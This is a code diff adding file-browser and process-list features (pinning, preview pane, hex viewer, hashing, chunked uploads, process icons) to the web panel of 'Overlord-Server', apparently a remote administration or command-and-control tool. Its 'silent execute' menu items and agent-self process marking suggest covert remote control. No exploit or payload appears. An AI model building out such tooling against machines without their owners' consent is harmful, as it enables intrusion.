if (executeItem) executeItem.style.display = entry.isDir ? "none" : "block";
if (silentExecuteItem) silentExecuteItem.style.display = entry.isDir ? "none" : "block";
if (dirsizeItem) dirsizeItem.style.display = entry.isDir ? "block" : "none";
+
+ const pinned = isPinned(entry.path);
+ if (pinItem) pinItem.style.display = pinned ? "none" : "block";
+ if (unpinItem) unpinItem.style.display = pinned ? "block" : "none";
+ if (hexItem) hexItem.style.display = entry.isDir ? "none" : "block";
+ if (hashItem) hashItem.style.display = entry.isDir ? "none" : "block";
}
function hideContextMenu() {
@@ -2229,17 +2356,50 @@ function hasFileDrag(event) {
return types.includes("Files");
}
+let dropOverlayEl = null;
+
+function ensureDropOverlay() {
+ if (dropOverlayEl || !fileListPanel) return dropOverlayEl;
+ if (!fileListPanel.classList.contains("relative")) {
+ fileListPanel.classList.add("relative");
+ }
+ const overlay = document.createElement("div");
+ overlay.id = "file-drop-overlay";
+ overlay.className =
+ "hidden absolute inset-0 z-30 pointer-events-none flex items-center justify-center bg-blue-500/15 border-2 border-dashed border-blue-400 rounded-lg backdrop-blur-sm";
+ overlay.innerHTML = `
+
+
+
Drop files to upload
+
+
+ `;
+ fileListPanel.appendChild(overlay);
+ dropOverlayEl = overlay;
+ return overlay;
+}
+
function setDropTargetActive(active) {
if (!fileListPanel) return;
+ const overlay = ensureDropOverlay();
+ if (overlay) {
+ overlay.classList.toggle("hidden", !active);
+ if (active) {
+ const pathEl = overlay.querySelector(".drop-target-path");
+ if (pathEl) {
+ pathEl.textContent = currentPath ? `into ${currentPath}` : "";
+ }
+ }
+ }
fileListPanel.classList.toggle("ring-2", active);
fileListPanel.classList.toggle("ring-blue-500", active);
fileListPanel.classList.toggle("ring-offset-2", active);
fileListPanel.classList.toggle("ring-offset-slate-950", active);
- fileListPanel.classList.toggle("bg-blue-500/5", active);
}
function setupDragAndDropUpload() {
if (!fileListPanel) return;
+ ensureDropOverlay();
fileListPanel.addEventListener("dragenter", (e) => {
if (!hasFileDrag(e)) return;
@@ -2429,20 +2589,28 @@ async function uploadFileViaHttpPull(file, path, transfer) {
console.debug("[filebrowser] upload staged", {
pullUrl: uploadData.pullUrl,
size: uploadData.size,
+ agentNotified: !!uploadData.agentNotified,
});
- const commandId = `upload-http-${Date.now()}-${Math.random()}`;
- const waitResult = waitForCommandResult(commandId, 12 * 60 * 1000);
- send({
- type: "command",
- commandType: "file_upload_http",
- id: commandId,
- payload: {
- path,
- url: uploadData.pullUrl,
- total: file.size,
- },
- });
+ let commandId;
+ let waitResult;
+ if (uploadData.agentNotified && typeof uploadData.agentCommandId === "string") {
+ commandId = uploadData.agentCommandId;
+ waitResult = waitForCommandResult(commandId, 12 * 60 * 1000);
+ } else {
+ commandId = `upload-http-${Date.now()}-${Math.random()}`;
+ waitResult = waitForCommandResult(commandId, 12 * 60 * 1000);
+ send({
+ type: "command",
+ commandType: "file_upload_http",
+ id: commandId,
+ payload: {
+ path,
+ url: uploadData.pullUrl,
+ total: file.size,
+ },
+ });
+ }
await waitResult;
@@ -2459,6 +2627,80 @@ async function uploadFileViaHttpPull(file, path, transfer) {
transfer.uploadXhr = null;
}
+const WS_UPLOAD_MAX_TOTAL = 8 * 1024 * 1024;
+const WS_UPLOAD_CHUNK_SIZE = 512 * 1024;
+const WS_UPLOAD_CONCURRENCY = 4;
+const WS_UPLOAD_ACK_TIMEOUT_MS = 90 * 1000;
+
+async function uploadFileViaWsChunks(file, path, transfer) {
+ const total = file.size;
+ transfer.total = total;
+
+ const pumpChunk = (offset, data) => {
+ const ackPromise = new Promise((resolve, reject) => {
+ const timeoutId = setTimeout(() => {
+ transfer.pendingAcks.delete(offset);
+ reject(new Error(`upload chunk timeout (offset ${offset})`));
+ }, WS_UPLOAD_ACK_TIMEOUT_MS);
+ transfer.pendingAcks.set(offset, { resolve, reject, timeoutId });
+ });
+ send({
+ type: "file_upload",
+ path,
+ data,
+ offset,
+ total,
+ transferId: transfer.transferId,
+ });
+ transfer.sent = Math.min((transfer.sent || 0) + data.length, total);
+ if (total > 0) {
+ transfer.progress = Math.round((transfer.sent / total) * 100);
+ updateTransferProgress(transfer.id, transfer.progress, transfer.sent, total);
+ }
+ return ackPromise;
+ };
+
+ if (total === 0) {
+ transfer.expectedChunks = 1;
+ await pumpChunk(0, new Uint8Array(0));
+ transfer.completed = true;
+ transfer.progress = 100;
+ updateTransferProgress(transfer.id, 100, 0, 0);
+ return;
+ }
+
+ const expectedChunks = Math.ceil(total / WS_UPLOAD_CHUNK_SIZE);
+ transfer.expectedChunks = expectedChunks;
+
+ const inFlight = new Map();
+ let nextOffset = 0;
+
+ try {
+ while (nextOffset < total || inFlight.size > 0) {
+ while (inFlight.size < WS_UPLOAD_CONCURRENCY && nextOffset < total) {
+ if (transfer.cancelled) throw new Error("Upload cancelled");
+ const start = nextOffset;
+ const end = Math.min(start + WS_UPLOAD_CHUNK_SIZE, total);
+ const buf = new Uint8Array(await file.slice(start, end).arrayBuffer());
+ nextOffset = end;
+ const tracked = pumpChunk(start, buf).then(() => inFlight.delete(start));
+ inFlight.set(start, tracked);
+ }
+ if (inFlight.size > 0) {
+ await Promise.race(inFlight.values());
+ }
+ }
+ transfer.completed = true;
+ } catch (err) {
+ transfer.pendingAcks.forEach((pending) => {
+ clearTimeout(pending.timeoutId);
+ try { pending.reject(err); } catch {}
+ });
+ transfer.pendingAcks.clear();
+ throw err;
+ }
+}
+
async function uploadFile(file) {
const path = currentPath ? `${currentPath}/${file.name}` : file.name;
const transferId = `upload-${Date.now()}-${Math.random()}`;
@@ -2490,8 +2732,14 @@ async function uploadFile(file) {
activeTransfers.set(transferId, transfer);
addTransferToUI(transfer);
+ const useWs = file.size <= WS_UPLOAD_MAX_TOTAL;
+
try {
- await uploadFileViaHttpPull(file, path, transfer);
+ if (useWs) {
+ await uploadFileViaWsChunks(file, path, transfer);
+ } else {
+ await uploadFileViaHttpPull(file, path, transfer);
+ }
finishUpload(transfer);
} catch (err) {
console.error("Upload error:", err);
@@ -2548,6 +2796,448 @@ setupDragAndDropUpload();
updateStatus("connecting", "Connecting...");
updateBackButton();
+// ── Pinned paths (operator-scoped, localStorage) ────────────────────────────
+const PINNED_STORAGE_KEY = "filebrowser.pinnedPaths.v1";
+const sidebarPinned = document.getElementById("sidebar-pinned");
+const sidebarPinCurrentBtn = document.getElementById("sidebar-pin-current-btn");
+
+function loadPinnedPaths() {
+ try {
+ const raw = localStorage.getItem(PINNED_STORAGE_KEY);
+ if (!raw) return [];
+ const parsed = JSON.parse(raw);
+ if (!Array.isArray(parsed)) return [];
+ return parsed.filter((p) => p && typeof p.path === "string");
+ } catch {
+ return [];
+ }
+}
+
+function savePinnedPaths(list) {
+ try {
+ localStorage.setItem(PINNED_STORAGE_KEY, JSON.stringify(list));
+ } catch (err) {
+ console.warn("Failed to persist pinned paths:", err);
+ }
+}
+
+function isPinned(path) {
+ return loadPinnedPaths().some((p) => p.path === path);
+}
+
+function pinPath(path, name) {
+ if (!path) return;
+ const list = loadPinnedPaths();
+ if (list.some((p) => p.path === path)) return;
+ const fallback = path.split(/[\/\\]/).filter(Boolean).pop() || path;
+ list.push({ path, name: name || fallback, addedAt: Date.now() });
+ savePinnedPaths(list);
+ updatePinnedSidebar();
+}
+
+function unpinPath(path) {
+ if (!path) return;
+ const list = loadPinnedPaths().filter((p) => p.path !== path);
+ savePinnedPaths(list);
+ updatePinnedSidebar();
+}
+
+function updatePinnedSidebar() {
+ if (!sidebarPinned) return;
+ const list = loadPinnedPaths();
+ if (list.length === 0) {
+ sidebarPinned.innerHTML =
+ 'No pinned paths.
Right-click any folder.
';
+ return;
+ }
+ let html = "";
+ list.forEach((p) => {
+ const active = currentPath && (currentPath === p.path || currentPath.startsWith(p.path + "/") || currentPath.startsWith(p.path + "\\"));
+ html += `
+ `;
+ });
+ sidebarPinned.innerHTML = html;
+ sidebarPinned.querySelectorAll(".sidebar-item").forEach((row) => {
+ row.addEventListener("click", (e) => {
+ if (e.target.closest(".pin-remove-btn")) return;
+ listFiles(row.dataset.path);
+ });
+ });
+ sidebarPinned.querySelectorAll(".pin-remove-btn").forEach((btn) => {
+ btn.addEventListener("click", (e) => {
+ e.stopPropagation();
+ unpinPath(btn.dataset.path);
+ });
+ });
+}
+
+if (sidebarPinCurrentBtn) {
+ sidebarPinCurrentBtn.addEventListener("click", () => {
+ if (!currentPath || currentPath === ".") {
+ notifyToast("Navigate into a folder first", "info", 2500);
+ return;
+ }
+ if (isPinned(currentPath)) {
+ unpinPath(currentPath);
+ notifyToast("Unpinned", "info", 1800);
+ } else {
+ pinPath(currentPath);
+ notifyToast("Pinned", "success", 1800);
+ }
+ });
+}
+
+// ── Preview pane ────────────────────────────────────────────────────────────
+const PREVIEW_PANE_STATE_KEY = "filebrowser.previewPaneVisible.v1";
+const previewPaneHost = document.getElementById("preview-pane-host");
+const previewPaneEl = document.getElementById("preview-pane");
+const previewPaneToggle = document.getElementById("preview-pane-toggle");
+const previewPaneShowBtnHost = document.getElementById("preview-pane-show-btn-host");
+const previewPaneShowBtn = document.getElementById("preview-pane-show-btn");
+const previewActiveEl = document.getElementById("preview-active");
+const previewEmptyEl = previewPaneEl?.querySelector(".preview-empty");
+const previewThumbBox = document.getElementById("preview-thumb-box");
+const previewNameEl = document.getElementById("preview-name");
+const previewPathEl = document.getElementById("preview-path");
+const previewMetaList = document.getElementById("preview-meta-list");
+const previewTextHeadHost = document.getElementById("preview-text-head-host");
+const previewTextHead = document.getElementById("preview-text-head");
+const previewHexBtn = document.getElementById("preview-hex-btn");
+const previewHashBtn = document.getElementById("preview-hash-btn");
+const previewHashResult = document.getElementById("preview-hash-result");
+const previewHashValue = document.getElementById("preview-hash-value");
+const previewHashKnown = document.getElementById("preview-hash-known");
+
+let currentPreviewEntry = null;
+let lastPeekCommandId = null;
+let lastHashCommandId = null;
+
+function setPreviewPaneVisible(visible) {
+ if (!previewPaneHost) return;
+ if (visible) {
+ previewPaneHost.classList.remove("hidden");
+ previewPaneShowBtnHost?.classList.add("hidden");
+ } else {
+ previewPaneHost.classList.add("hidden");
+ previewPaneShowBtnHost?.classList.remove("hidden");
+ }
+ try { localStorage.setItem(PREVIEW_PANE_STATE_KEY, visible ? "1" : "0"); } catch {}
+}
+
+previewPaneToggle?.addEventListener("click", () => setPreviewPaneVisible(false));
+previewPaneShowBtn?.addEventListener("click", () => setPreviewPaneVisible(true));
+(function initPreviewPaneVisibility() {
+ let saved = "1";
+ try { saved = localStorage.getItem(PREVIEW_PANE_STATE_KEY) || "1"; } catch {}
+ setPreviewPaneVisible(saved !== "0");
+})();
+
+function clearPreviewPane() {
+ currentPreviewEntry = null;
+ if (!previewPaneEl) return;
+ previewPaneEl.classList.add("empty");
+ previewActiveEl?.classList.add("hidden");
+ if (previewThumbBox) previewThumbBox.innerHTML = "";
+ if (previewMetaList) previewMetaList.innerHTML = "";
+ if (previewTextHead) previewTextHead.textContent = "";
+ previewTextHeadHost?.classList.add("hidden");
+ previewHashResult?.classList.add("hidden");
+}
+
+function renderPreviewMeta(entry) {
+ if (!previewMetaList) return "";
+ const ext = getFileExt(entry.name);
+ const fields = [];
+ fields.push(["Type", entry.isDir ? "Folder" : (ext ? ext.toUpperCase() : "File")]);
+ if (!entry.isDir) fields.push(["Size", formatBytes(entry.size)]);
+ fields.push(["Modified", new Date(entry.modTime * 1000).toLocaleString()]);
+ if (entry.mode) fields.push(["Mode", entry.mode]);
+ if (entry.owner) fields.push(["Owner", entry.owner]);
+ previewMetaList.innerHTML = fields.map(([k, v]) =>
+ `${escapeHtml(k)}${escapeHtml(String(v))}`
+ ).join("");
+}
+
+function showPreviewForEntry(entry) {
+ if (!entry || !previewPaneEl || previewPaneHost?.classList.contains("hidden")) return;
+ currentPreviewEntry = entry;
+ previewPaneEl.classList.remove("empty");
+ previewActiveEl?.classList.remove("hidden");
+ if (previewNameEl) previewNameEl.textContent = entry.name || "";
+ if (previewPathEl) previewPathEl.textContent = entry.path || "";
+ renderPreviewMeta(entry);
+
+ // Thumbnail / icon
+ if (previewThumbBox) {
+ previewThumbBox.innerHTML = "";
+ const tKey = thumbCacheKey(entry);
+ const cached = tKey ? thumbCache.get(tKey) : null;
+ if (cached && cached.blobUrl) {
+ const img = document.createElement("img");
+ img.src = cached.blobUrl;
+ previewThumbBox.appendChild(img);
+ } else {
+ const iconKey = iconCacheKey(entry);
+ const iconEntry = iconKey ? iconCache.get(iconKey) : null;
+ if (iconEntry && iconEntry.blobUrl) {
+ const img = document.createElement("img");
+ img.src = iconEntry.blobUrl;
+ img.style.width = "64px";
+ img.style.height = "64px";
+ previewThumbBox.appendChild(img);
+ } else {
+ previewThumbBox.innerHTML = `${getFileIcon(entry)}
`;
+ }
+ if (tKey) requestThumbFor(entry);
+ }
+ }
+
+ // Text head — only for likely-text files under 4KB peek window
+ previewTextHeadHost?.classList.add("hidden");
+ if (previewTextHead) previewTextHead.textContent = "";
+ if (!entry.isDir) {
+ const ext = getFileExt(entry.name);
+ if (!KNOWN_BINARY_EXTS.has(ext) && !PREVIEW_IMAGE_EXTS.has(ext) && !PREVIEW_PDF_EXTS.has(ext)) {
+ requestFilePeek(entry.path, "preview");
+ }
+ }
+
+ previewHashResult?.classList.add("hidden");
+ if (previewHashValue) previewHashValue.textContent = "";
+ if (previewHashKnown) {
+ previewHashKnown.classList.add("hidden");
+ previewHashKnown.textContent = "";
+ }
+}
+
+// ── file_peek (hex viewer + text head) ──────────────────────────────────────
+const hexViewerModal = document.getElementById("hex-viewer-modal");
+const hexViewerFile = document.getElementById("hex-viewer-file");
+const hexViewerBody = document.getElementById("hex-viewer-body");
+const hexViewerInfo = document.getElementById("hex-viewer-info");
+const hexViewerCloseBtn = document.getElementById("hex-viewer-close-btn");
+const hexViewerCopyBtn = document.getElementById("hex-viewer-copy-btn");
+
+// commandId -> { kind: 'preview'|'hex', path, fileName }
+const peekRequests = new Map();
+let lastHexBytes = null;
+let lastHexFileName = "";
+
+function requestFilePeek(path, kind) {
+ const commandId = `peek-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
+ const fileName = path.split(/[\/\\]/).pop() || "";
+ peekRequests.set(commandId, { kind, path, fileName });
+ lastPeekCommandId = commandId;
+ send({
+ type: "command",
+ commandType: "file_peek",
+ id: commandId,
+ payload: { path, bytes: 4096 },
+ });
+}
+
+function openHexViewer(path) {
+ if (!hexViewerModal) return;
+ const fileName = path.split(/[\/\\]/).pop() || "";
+ if (hexViewerFile) hexViewerFile.textContent = fileName;
+ if (hexViewerBody) hexViewerBody.innerHTML = 'Loading...
';
+ if (hexViewerInfo) hexViewerInfo.textContent = "";
+ hexViewerModal.classList.add("show");
+ requestFilePeek(path, "hex");
+}
+
+function closeHexViewer() {
+ hexViewerModal?.classList.remove("show");
+}
+
+function decodeTextHead(bytes) {
+ // Try UTF-8 first; fall back to latin1.
+ try {
+ return new TextDecoder("utf-8", { fatal: false }).decode(bytes);
+ } catch {
+ return new TextDecoder("latin1").decode(bytes);
+ }
+}
+
+function renderHexDump(bytes, totalSize) {
+ if (!hexViewerBody) return;
+ const len = bytes.length;
+ const rows = [];
+ for (let off = 0; off < len; off += 16) {
+ const chunk = bytes.slice(off, Math.min(off + 16, len));
+ const hexParts = [];
+ const asciiParts = [];
+ for (let i = 0; i < 16; i++) {
+ if (i < chunk.length) {
+ hexParts.push(chunk[i].toString(16).padStart(2, "0"));
+ const b = chunk[i];
+ if (b >= 0x20 && b <= 0x7e) {
+ asciiParts.push(`${escapeHtml(String.fromCharCode(b))}`);
+ } else {
+ asciiParts.push('.');
+ }
+ } else {
+ hexParts.push(" ");
+ asciiParts.push(" ");
+ }
+ if (i === 7) hexParts.push("");
+ }
+ rows.push(
+ `` +
+ `${off.toString(16).padStart(8, "0")}` +
+ `${hexParts.join(" ")}` +
+ `${asciiParts.join("")}` +
+ `
`
+ );
+ }
+ hexViewerBody.innerHTML = rows.join("");
+ if (hexViewerInfo) {
+ const peekStr = `${formatBytes(len)} peek`;
+ const totalStr = totalSize > 0 ? ` of ${formatBytes(totalSize)}` : "";
+ hexViewerInfo.textContent = peekStr + totalStr;
+ }
+ lastHexBytes = bytes;
+}
+
+function handleFilePeekResult(msg) {
+ const req = msg.commandId ? peekRequests.get(msg.commandId) : null;
+ if (!req) return;
+ peekRequests.delete(msg.commandId);
+
+ if (msg.error) {
+ if (req.kind === "hex") {
+ if (hexViewerBody) hexViewerBody.innerHTML = `${escapeHtml(msg.error)}
`;
+ }
+ if (req.kind === "preview" && currentPreviewEntry && currentPreviewEntry.path === req.path) {
+ previewTextHeadHost?.classList.add("hidden");
+ }
+ return;
+ }
+
+ let data = msg.data;
+ if (!data) data = new Uint8Array(0);
+ if (!(data instanceof Uint8Array)) {
+ try { data = new Uint8Array(data); } catch { data = new Uint8Array(0); }
+ }
+
+ if (req.kind === "hex") {
+ lastHexFileName = req.fileName;
+ renderHexDump(data, Number(msg.size || 0));
+ return;
+ }
+
+ // preview kind
+ if (!currentPreviewEntry || currentPreviewEntry.path !== req.path) return;
+ if (!msg.isText || data.length === 0) {
+ previewTextHeadHost?.classList.add("hidden");
+ return;
+ }
+ const text = decodeTextHead(data);
+ if (previewTextHead) previewTextHead.textContent = text;
+ previewTextHeadHost?.classList.remove("hidden");
+}
+
+hexViewerCloseBtn?.addEventListener("click", closeHexViewer);
+hexViewerModal?.addEventListener("click", (e) => {
+ if (e.target === hexViewerModal) closeHexViewer();
+});
+document.addEventListener("keydown", (e) => {
+ if (e.key === "Escape" && hexViewerModal?.classList.contains("show")) {
+ closeHexViewer();
+ }
+});
+hexViewerCopyBtn?.addEventListener("click", async () => {
+ if (!lastHexBytes) return;
+ const hex = Array.from(lastHexBytes).map((b) => b.toString(16).padStart(2, "0")).join("");
+ try {
+ await navigator.clipboard.writeText(hex);
+ notifyToast("Hex copied to clipboard", "success", 2000);
+ } catch {
+ notifyToast("Clipboard copy failed", "error", 2500);
+ }
+});
+
+// ── file_hash + tiny known catalog ──────────────────────────────────────────
+// SHA-256 hex digests for a few well-known files (operator tip). Lowercase.
+const KNOWN_HASHES_SHA256 = {
+ // empty file
+ "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855": "Empty file (0 bytes)",
+ // example placeholders — populate over time
+};
+
+// commandId -> { path, fileName, source: 'preview'|'context' }
+const hashRequests = new Map();
+
+function requestFileHash(path, source) {
+ const commandId = `hash-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
+ const fileName = path.split(/[\/\\]/).pop() || "";
+ hashRequests.set(commandId, { path, fileName, source });
+ lastHashCommandId = commandId;
+ send({
+ type: "command",
+ commandType: "file_hash",
+ id: commandId,
+ payload: { path, algorithm: "sha256" },
+ });
+ notifyToast(`Hashing ${fileName}…`, "info", 2500);
+}
+
+function handleFileHashResult(msg) {
+ const req = msg.commandId ? hashRequests.get(msg.commandId) : null;
+ if (!req) return;
+ hashRequests.delete(msg.commandId);
+
+ if (msg.error) {
+ notifyToast(`Hash failed: ${msg.error}`, "error", 5000);
+ return;
+ }
+ const digest = (msg.digest || "").toLowerCase();
+ const known = KNOWN_HASHES_SHA256[digest];
+
+ // Update preview pane if it's showing this file
+ if (currentPreviewEntry && currentPreviewEntry.path === req.path && previewHashValue) {
+ previewHashValue.textContent = digest;
+ previewHashResult?.classList.remove("hidden");
+ if (previewHashKnown) {
+ if (known) {
+ previewHashKnown.textContent = `Known: ${known}`;
+ previewHashKnown.classList.remove("hidden");
+ } else {
+ previewHashKnown.classList.add("hidden");
+ }
+ }
+ }
+
+ const msgSuffix = known ? ` — matches known: ${known}` : "";
+ notifyToast(`SHA-256: ${digest.slice(0, 16)}…${msgSuffix}`, "success", 6000);
+ navigator.clipboard?.writeText(digest).catch(() => {});
+}
+
+previewHexBtn?.addEventListener("click", () => {
+ if (currentPreviewEntry && !currentPreviewEntry.isDir) {
+ openHexViewer(currentPreviewEntry.path);
+ }
+});
+previewHashBtn?.addEventListener("click", () => {
+ if (currentPreviewEntry && !currentPreviewEntry.isDir) {
+ requestFileHash(currentPreviewEntry.path, "preview");
+ }
+});
+previewHashValue?.addEventListener("click", async () => {
+ const v = previewHashValue.textContent || "";
+ if (!v) return;
+ try {
+ await navigator.clipboard.writeText(v);
+ notifyToast("SHA-256 copied", "success", 1500);
+ } catch {}
+});
+
// ── Sidebar Quick Access ──
let detectedHomePath = "";
let detectedOS = "";
@@ -2631,6 +3321,36 @@ function updateSidebar() {
bindSidebarClicks(sidebarContent);
}
+function driveItemHtml(e) {
+ const label = e.name.match(/^[A-Za-z]:$/) ? e.name + "\\" : (e.name || e.path);
+ const path = e.name.match(/^[A-Za-z]:$/) ? e.name + "\\" : e.path;
+ const total = Number(e.totalBytes || 0);
+ const free = Number(e.freeBytes || 0);
+ let usageHtml = "";
+ let titleAttr = "";
+ if (total > 0) {
+ const used = Math.max(0, total - free);
+ const pct = Math.min(100, Math.round((used / total) * 100));
+ const cls = pct >= 90 ? "crit" : pct >= 75 ? "warn" : "";
+ usageHtml = `
+
+
+ ${formatBytes(free)} free
+ ${formatBytes(total)}
+
`;
+ titleAttr = ` title="${escapeHtml(e.fsType || "")}${e.fsType ? " · " : ""}${formatBytes(free)} free of ${formatBytes(total)}"`;
+ }
+ return `
+ `;
+}
+
function updateSidebarDrives(entries) {
if (!sidebarDrives) return;
if (!entries || entries.length === 0) {
@@ -2645,7 +3365,7 @@ function updateSidebarDrives(entries) {
let html = "";
entries.forEach((e) => {
if (e.isDir && e.name.match(/^[A-Za-z]:$/)) {
- html += sidebarItem("fa-hard-drive", e.name + "\\", e.name + "\\", "text-slate-300");
+ html += driveItemHtml(e);
}
});
if (!html) {
@@ -2669,6 +3389,7 @@ function highlightSidebarActive() {
});
}
+updatePinnedSidebar();
checkFeatureAccess("file_browser", clientId).then(ok => ok && connect());
function addTransferToUI(transfer) {
diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js
index fc188f8..9a573ec 100644
--- a/Overlord-Server/public/assets/processes.js
+++ b/Overlord-Server/public/assets/processes.js
@@ -13,6 +13,12 @@ let sortField = "cpu";
let sortDirection = "desc";
let searchTerm = "";
+const procIconCache = new Map();
+const procIconQueue = [];
+let procIconFlushScheduled = false;
+const PROC_ICON_BATCH_SIZE = 32;
+const PROC_ICON_BATCH_DELAY_MS = 60;
+
const statusEl = document.getElementById("status-indicator");
const processCountEl = document.getElementById("process-count");
const processListEl = document.getElementById("process-list");
@@ -107,6 +113,9 @@ function handleMessage(msg) {
case "process_list_result":
handleProcessList(msg);
break;
+ case "process_icon_result":
+ handleProcessIconResult(msg);
+ break;
case "command_result":
handleCommandResult(msg);
break;
@@ -148,6 +157,7 @@ function handleProcessList(msg) {
updateStatus("connected", "Connected");
buildProcessTree();
renderProcesses();
+ requestProcessIcons(processes);
}
function buildProcessTree() {
@@ -314,22 +324,31 @@ function rowInnerHtml(proc, depth) {
}
let nameColor = "text-slate-200";
- let iconClass = "fa-microchip";
- let iconColor = "text-blue-400";
+ let fallbackIcon = "fa-microchip";
+ let fallbackColor = "text-blue-400";
if (proc.type === "system") {
nameColor = "text-purple-400";
- iconColor = "text-purple-400";
+ fallbackColor = "text-purple-400";
} else if (proc.type === "service") {
nameColor = "text-cyan-400";
- iconColor = "text-cyan-400";
+ fallbackColor = "text-cyan-400";
} else if (proc.type === "own") {
nameColor = "text-green-300";
- iconColor = "text-green-400";
+ fallbackColor = "text-green-400";
}
if (proc.self) {
nameColor = "text-yellow-300 font-semibold";
- iconClass = "fa-crosshairs";
- iconColor = "text-yellow-400";
+ fallbackIcon = "fa-crosshairs";
+ fallbackColor = "text-yellow-400";
+ }
+
+ const iconKey = procIconKey(proc);
+ const cached = iconKey ? procIconCache.get(iconKey) : null;
+ let procIcon;
+ if (cached && cached.blobUrl) {
+ procIcon = `
`;
+ } else {
+ procIcon = ``;
}
const selfBadge = proc.self
@@ -339,7 +358,7 @@ function rowInnerHtml(proc, depth) {
return `
${proc.pid}
- ${indent}${treeIcon}
+ ${indent}${treeIcon}${procIcon}
${escapeHtml(proc.name)}${selfBadge}
${displayCpu.toFixed(1)}%
@@ -615,6 +634,61 @@ setInterval(() => {
}
}, 3000);
+function procIconKey(proc) {
+ if (!proc.exePath) return null;
+ return proc.exePath.toLowerCase();
+}
+
+function requestProcessIcons(procs) {
+ for (const proc of procs) {
+ const key = procIconKey(proc);
+ if (!key) continue;
+ if (procIconCache.has(key)) continue;
+ procIconCache.set(key, { pending: true });
+ procIconQueue.push({ key, path: proc.exePath });
+ }
+ if (procIconQueue.length > 0) scheduleProcIconFlush();
+}
+
+function scheduleProcIconFlush() {
+ if (procIconFlushScheduled) return;
+ procIconFlushScheduled = true;
+ setTimeout(flushProcIconQueue, PROC_ICON_BATCH_DELAY_MS);
+}
+
+function flushProcIconQueue() {
+ procIconFlushScheduled = false;
+ if (procIconQueue.length === 0) return;
+ const batch = procIconQueue.splice(0, PROC_ICON_BATCH_SIZE);
+ send({ type: "process_icon", items: batch });
+ if (procIconQueue.length > 0) scheduleProcIconFlush();
+}
+
+function handleProcessIconResult(msg) {
+ const items = Array.isArray(msg.icons) ? msg.icons : [];
+ for (const item of items) {
+ if (!item || !item.key) continue;
+ const entry = procIconCache.get(item.key) || {};
+ entry.pending = false;
+ if (item.png && item.png.length > 0) {
+ const blob = new Blob([item.png], { type: "image/png" });
+ entry.blobUrl = URL.createObjectURL(blob);
+ } else {
+ entry.failed = true;
+ }
+ procIconCache.set(item.key, entry);
+ applyProcIconToDom(item.key, entry);
+ }
+}
+
+function applyProcIconToDom(key, entry) {
+ if (!entry || !entry.blobUrl) return;
+ const escaped = (typeof CSS !== "undefined" && CSS.escape) ? CSS.escape(key) : key.replace(/"/g, '\\"');
+ document.querySelectorAll(`[data-proc-icon-key="${escaped}"]`).forEach((el) => {
+ el.innerHTML = `
`;
+ });
+}
+
updateStatus("connecting", "Connecting...");
checkFeatureAccess("processes", clientId).then(ok => ok && connect());
updateSortIndicators();
diff --git a/Overlord-Server/public/assets/thumbnail-loader.js b/Overlord-Server/public/assets/thumbnail-loader.js
index ca3d78a..367adfd 100644
--- a/Overlord-Server/public/assets/thumbnail-loader.js
+++ b/Overlord-Server/public/assets/thumbnail-loader.js
@@ -52,11 +52,14 @@ function buildThumbnailUrl(clientId, version) {
export function applyImageSrcSmooth(img, url) {
if (!img || !url) return;
if (img.dataset.thumbUrl === url) return;
+ img.dataset.thumbUrl = url;
+ const gen = (img._thumbGen = ((img._thumbGen || 0) + 1));
const newImg = img.cloneNode(false);
newImg.dataset.thumbUrl = url;
newImg.style.display = "block";
const swap = () => {
- if (img.parentNode && img.dataset.thumbUrl !== url) img.replaceWith(newImg);
+ if (img._thumbGen !== gen) return;
+ if (img.parentNode) img.replaceWith(newImg);
};
newImg.addEventListener("error", () => {}, { once: true });
newImg.src = url;
@@ -103,7 +106,7 @@ export class ThumbnailLoader {
if (!element || !clientId) return;
const prior = this.records.get(element);
if (prior && prior.clientId === clientId) {
- prior.version = initialVersion || prior.version;
+ prior.version = Math.max(initialVersion, prior.version);
this.applyVersion(element, prior);
return;
}
@@ -164,8 +167,7 @@ export class ThumbnailLoader {
if (!element || !rec) return;
const img = element.querySelector("img[data-thumb-img]");
if (!img) return;
- const url = buildThumbnailUrl(rec.clientId, rec.version);
- applyImageSrcSmooth(img, url);
+ applyImageSrcSmooth(img, buildThumbnailUrl(rec.clientId, rec.version));
}
handleIntersection(entries) {
diff --git a/Overlord-Server/public/filebrowser.html b/Overlord-Server/public/filebrowser.html
index 7577151..1867686 100644
--- a/Overlord-Server/public/filebrowser.html
+++ b/Overlord-Server/public/filebrowser.html
@@ -322,7 +322,133 @@
}
@media (max-width: 1023px) {
#sidebar { display: none !important; }
+ #preview-pane-host { display: none !important; }
}
+
+ /* Pin star button next to filename */
+ .pin-star-btn {
+ opacity: 0;
+ transition: opacity 0.15s ease, color 0.15s ease;
+ background: transparent;
+ border: 0;
+ padding: 2px 4px;
+ color: rgb(100 116 139);
+ cursor: pointer;
+ }
+ .file-item:hover .pin-star-btn { opacity: 0.7; }
+ .pin-star-btn:hover { color: #facc15; opacity: 1 !important; }
+ .pin-star-btn.pinned { color: #facc15; opacity: 1 !important; }
+
+ /* Drive bar */
+ .drive-usage-bar {
+ height: 3px;
+ background-color: rgba(51, 65, 85, 0.6);
+ border-radius: 2px;
+ overflow: hidden;
+ margin-top: 2px;
+ }
+ .drive-usage-fill {
+ height: 100%;
+ background: linear-gradient(90deg, #3b82f6, #6366f1);
+ border-radius: 2px;
+ transition: width 0.3s ease;
+ }
+ .drive-usage-fill.warn { background: linear-gradient(90deg, #f59e0b, #ef4444); }
+ .drive-usage-fill.crit { background: linear-gradient(90deg, #ef4444, #dc2626); }
+
+ /* Preview pane */
+ #preview-pane-host {
+ width: 320px;
+ flex-shrink: 0;
+ align-self: flex-start;
+ position: sticky;
+ top: 5rem;
+ max-height: calc(100vh - 6rem);
+ overflow-y: auto;
+ }
+ #preview-pane {
+ /* host handles sticky + scroll; inner stays in normal flow */
+ }
+ /* Custom scrollbar for sidebar columns */
+ .sidebar-scroll::-webkit-scrollbar,
+ #preview-pane-host::-webkit-scrollbar { width: 8px; }
+ .sidebar-scroll::-webkit-scrollbar-track,
+ #preview-pane-host::-webkit-scrollbar-track { background: transparent; }
+ .sidebar-scroll::-webkit-scrollbar-thumb,
+ #preview-pane-host::-webkit-scrollbar-thumb { background: rgba(71,85,105,0.6); border-radius: 4px; }
+ .sidebar-scroll::-webkit-scrollbar-thumb:hover,
+ #preview-pane-host::-webkit-scrollbar-thumb:hover { background: rgba(100,116,139,0.8); }
+ #preview-pane.empty .preview-empty { display: flex; }
